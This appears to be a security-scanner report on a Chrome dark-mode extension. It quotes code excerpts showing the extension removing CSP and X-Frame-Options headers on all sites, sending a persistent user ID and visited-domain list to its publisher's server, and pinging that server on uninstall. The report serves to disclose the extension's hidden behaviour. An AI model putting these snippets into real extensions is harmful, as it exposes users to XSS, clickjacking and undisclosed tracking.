Security Alert: Malware Risk Confirmed
Easy Dark Mode
ID: ibbkokjdcfjakihkpihlffljabiepdag
Supported Languages
Extension Info & Metadata
Publisher Contextual Analysis
- Author
- weaverstar048View Profile
- Privacy
- Privacy Policy
- MX records exist
- Yes
- Domain exists
- Yes
- Is disposable
- No
- Is role-based
- No
- Mailbox exists
- Yes
Enable dark mode on any website with one easy click
Easy Dark Mode - Convenience and Eye Protection for Your Workflow. Looking for a simple way to activate Google Doc Dark Mode and reduce eye strain while working? ⭢ Easy Dark Mode is the perfect solution! This handy dark mode extension allows you to easily switch to a darker background in your browser, making it ideal for working in Google Docs and other online tools. ✎ Whether you're writing, editing, or just browsing, switching to dark mode for Chrome provides a more comfortable and relaxing experience. ◐ Why Use Dark Mode Chrome? ✓ Reduce Eye Strain: Prolonged exposure to bright screens can cause discomfort. By using Chrome dark mode, you’ll experience reduced glare, making it easier on your eyes. ✓ Focus Better at Night: Activate night mode for Chrome and enjoy a softer, dark background that’s ideal for low-light environments. It’s perfect for late-night work sessions or reading. ✓ Stay Productive: By making your browsing experience more comfortable, dark mode for Chrome helps you stay focused and productive for longer periods without distractions. How to Turn On Chrome Dark Mode? → Using Easy Dark Mode is simple. Install the extension, and with just one click, you can switch to Google Doc Dark Mode or activate night mode for Chrome in any webpage. No more bright, blinding screens—just smooth, dark backgrounds that enhance your overall user experience. ✿ With Easy Dark Mode, you have the flexibility to quickly toggle between light and dark themes, making it a must-have tool for anyone who spends long hours online. Try it today and experience the benefits of dark mode Chrome firsthand!
The declarativeNetRequest rule unconditionally removes `content-security-policy` and `x-frame-options` from every website the user visits (main_frame and sub_frame). Stripping CSP destroys XSS protection site-wide; stripping X-Frame-Options enables clickjacking on any site relying on it. While some dark mode extensions strip CSP selectively (e.g. only for pages that fail injection), removing it globally for all URLs goes far beyond what dark mode rendering requires and materially harms the user's security posture on every site they browse.
[ { "id": 1, "priority": 1, "action": { "type": "modifyHeaders", "responseHeaders": [ { "header": "content-security-policy-report-only", "operation": "remove" }, { "header": "content-security-policy", "operation": "remove" }, { "header": "theme-security-policy", "operation": "remove" }, { "header": "x-frame-options", "operation": "remove" } ] }, "condition": { "urlFilter": "*", "resourceTypes": [ "main_frame", "sub_frame" ] } }]On install and every ~4 hours (triggered by `DM_UPDATE` message in content.js when `Date.now() - lastUpdate > 144e5`), the background script POSTs a persistent UUID (`userId`) and the user's full custom domain list (`customDomains`) to the publisher's server. The `customDomains` array reveals which specific websites the user has visited and deliberately configured, making it a behavioural profile tied to a stable identifier. No data collection of any kind is declared in the CWS listing. The server's response (`suggestColorMode`, `darkModeFilters`) is stored in local storage and used by the content script to influence per-site behaviour, constituting a live remote-configuration channel — the exact pattern identified by Palant's 2025 research on this extension class.
c.append("contextRef", e), // e = userId (UUID generated at install) c.append("customMode", JSON.stringify(a)), // a = customDomains array n.n = 1, fetch( "https://easy-dark-mode.online/api/themeConfigData", { method: "POST", body: c });// ...i = n.v, s = i.recommend, f = i.darkModeFilters, n.n = 4, chrome.storage.local.set({ suggestColorMode: s, darkModeFilters: f }, (function() {}));The bundled manifest (v1.3.2) declares only `storage` and `declarativeNetRequest`, omitting `tabs` and `scripting` that appear in the live CWS published manifest. The popup code in `popup/popup.js` actively calls `chrome.tabs.query()` with URL access (requiring the `tabs` permission), so the bundled manifest is functionally incomplete — the extension uses capabilities it does not declare in the analysed package. A mismatch where the published version carries broader permissions than the ZIP indicates the CWS listing may represent a silently upgraded capability set relative to the reviewed bundle.
{ "permissions": [ "storage", "declarativeNetRequest" ], "host_permissions": [ "<all_urls>" ]}On each startup the background registers an uninstall URL that encodes the persistent `userId` in the path. This means even a user who removes the extension silently pings the publisher's server with their tracking UUID, confirming removal and completing the lifecycle record. Combined with the regular telemetry POSTs, this demonstrates a deliberate user-tracking infrastructure operating without CWS disclosure.
chrome.runtime.setUninstallURL( "https://easy-dark-mode.online/api/uninstall/" + t)By severity
Versions scanned
Showing 2 of 5 scanned versions with more than one unique finding. Counts are unique findings that include each version.
| Extension Version | Code Review Findings |
|---|---|
| 1.3.4 | 6 |
| 1.3.2 | 4 |
Files with findings
5 distinct paths — top paths by unique finding count:
- script/background.js4
- rules.json2
- script/content.js2
- manifest.json1
- popup/popup.js1
URLs
View the external URLs this extension communicates with to understand its network activity and data interactions.
Gain full insight into all external connections.
Upgrade for full visibility.
Gain full insight into all external connections.
Upgrade for full visibility.
Code Diff
Compare extension code between any two versions.
No comparable text files found between these versions.
Browse and explore files within this extension package
Gain full insight into all external connections.
Upgrade for full visibility.
